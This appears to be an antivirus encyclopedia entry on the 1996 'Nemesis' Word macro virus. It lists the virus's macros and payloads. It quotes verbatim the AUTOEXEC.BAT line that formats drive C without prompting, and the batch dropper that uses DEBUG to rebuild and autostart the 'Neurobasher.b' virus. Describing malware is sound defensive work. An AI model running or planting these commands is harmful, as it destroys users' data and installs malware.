-------------------------------------------------
It is encrypted virus. It contains the macroses:
**********************************************************************************

AutoOpen nemesis6.txt
DateiOffnen nemesi10.txt
ExtrasMakro nemesis2.txt
DateiBeenden nemesis7.txt

***********************************************************************************
In some cases it sets the password "xenixos" for infected documents,
displays the message:
Diese Option ist derzeit leider nicht verf gbar.

While printing the documents it appends:
Brought to you by the Nemesis Corporation, 1996
On 1st of may the virus writes the string to the AUTOEXEC.BAT file:
@echo j|format c: /u >nul
This virus also launches "Neurobasher.b" multipartite virus. To do that the
virus creates the C:\DOS\SCRIPT.SCR file, and writes hexadecimal dump
of that virus into there. Then the virus creates the C:\DOS\EXEC.BAT file,
and writes the strings into there:
@echo off
debug < script.scr>nul
rem debugger.com
echo @c:\dos\debugger.exe>>c:\autoexec.bat
del c:\dos\script.scr
del c:\dos\exec.bat
Then the virus executes that file. As the result DEBUG.EXE creates the
DEBUGGER.EXE file, and C:\AUTOEXEC.BAT has new string at its end:
@c:\dos\debugger.exe
So, the last command of AUTOEXEC.BAT launches dropper of "Neurobasher.b"
virus.
